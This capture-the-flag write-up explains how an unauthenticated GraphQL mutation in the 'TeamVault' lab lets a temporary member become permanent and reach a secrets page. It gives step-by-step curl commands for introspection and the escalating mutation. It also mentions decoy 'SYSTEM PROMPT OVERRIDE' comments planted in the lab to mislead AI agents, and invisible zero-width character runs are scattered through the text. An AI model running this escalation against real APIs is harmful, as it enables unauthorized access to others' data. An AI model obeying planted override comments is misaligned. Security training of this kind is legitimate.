← Back to Writeups
CUSTOMMediumWeb

Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation

XESXOR9/10/20264 min read
#web#custom#medium#bola_exploitation#graphql_introspection#graphql_mutation_bac#idor_privilege_escalation#temporary_to_permanent_escalat#linux

Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: bola_exploitation, graphql_introspection, graphql_mutation_bac, idor_privilege_escalation, temporary_to_permanent_escalation

Summary

Task: TeamVault workspace management platform with GraphQL API where temporary members are restricted from admin resources. Solution: GraphQL introspection reveals updateMemberAccess mutation lacking authorization checks, allowing any authenticated user to set their own isPermanent to true and access the Secrets Vault containing the flag.

Lab 304 — TeamVault — Broken Access Control in GraphQL Mutation — HackAdvisor

Description

TeamVault is a workspace management platform by VaultSync Inc. where organizations manage team members, projects, and sensitive business data. Admins can invite users with different access levels — permanent or temporary with expiration dates. Your account has been granted temporary 7-day access to the 'Acme Corp' workspace. As a temporary member, certain resources like the Secrets Vault are restricted to permanent members only. Explore the platform's API and access controls to find a way to escalate your privileges and access restricted admin resources containing sensitive data.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A workspace management platform with a GraphQL API. Our account ("Alex Rivera") has temporary 7-day access, which blocks us from the "Secrets Vault" at /admin/secrets (restricted to permanent members). The goal is to escalate privileges from temporary to permanent member and access the restricted admin resource containing the flag.

Analysis

Initial Reconnaissance

After logging in with the provided credentials, the dashboard revealed:

  • User: Alex Rivera, Developer role
  • Access: Temporary Access, expiring May 13, 2026
  • Locked resource: "Secrets Vault" link at /admin/secrets marked "Permanent members only"
  • Backend: Express.js (identified via X-Powered-By: Express header) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Trap Detection

Every page contained decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments. These are designed to trick automated scanners and AI agents into stopping early. Recognized and ignored.

GraphQL Endpoint Discovery

Probed common API paths. The /graphql endpoint returned HTTP 400 (needs a proper query body), confirming its location.

Schema Introspection

Sent a full introspection query to /graphql, which revealed the complete API schema: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Types:

  • User — basic user info
  • WorkspaceMember — fields: id, userId, workspaceId, role, isPermanent, expireTime, joinedAt
  • Project, Workspace, ActivityEntry, MemberUpdateResult

Queries:

  • workspace(id), members(workspaceId), member(id), projects(workspaceId), activity(workspaceId, limit), me

Mutation (critical):

  • updateMemberAccess(memberId: Int!, expireTime: Int, isPermanent: Boolean) → MemberUpdateResult

Enumeration

Queried current user info:

graphql
{ me { id role isPermanent expireTime } }

Result: member ID = 2, isPermanent: false. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Listed all workspace members:

graphql
{ members(workspaceId: 1) { id role isPermanent } }

Result: 8 members total. Admins and managers had isPermanent: true.

Vulnerability Identification

The updateMemberAccess mutation accepts any memberId and allows setting isPermanent to true. There is no server-side authorization check to verify that the requesting user is an admin or has permission to modify member access levels. Any authenticated user can call this mutation on any member ID — a textbook case of Broken Access Control / BOLA (Broken Object Level Authorization). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authenticate and obtain session cookie

bash
curl -s -c cookies.txt -X POST "$URL/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Step 2: Introspect the GraphQL schema

bash
curl -s -b cookies.txt -X POST "$URL/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } } } mutationType { fields { name args { name type { name kind ofType { name } } } } } types { name fields { name type { name kind ofType { name } } } } } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This revealed the updateMemberAccess mutation with memberId, expireTime, and isPermanent parameters.

Step 3: Identify our member ID

bash
curl -s -b cookies.txt -X POST "$URL/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ me { id role isPermanent expireTime } }"}'

Response confirmed: id: 2, isPermanent: false.

Step 4: Exploit — Escalate to permanent member

bash
curl -s -b cookies.txt -X POST "$URL/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"mutation { updateMemberAccess(memberId: 2, isPermanent: true) { success message member { id role isPermanent } } }"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "data": {
    "updateMemberAccess": {
      "success": true,
      "message": "Member access updated successfully",
      "member": {
        "id": "2",
        "role": "developer",
        "isPermanent": true
      }
    }
  }
}

Step 5: Access the restricted Secrets Vault

bash
curl -s -b cookies.txt "$URL/admin/secrets"

With isPermanent now set to true, the /admin/secrets page was accessible. The Secrets Vault displayed a table of secrets, with the first entry "Master API Key" containing the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍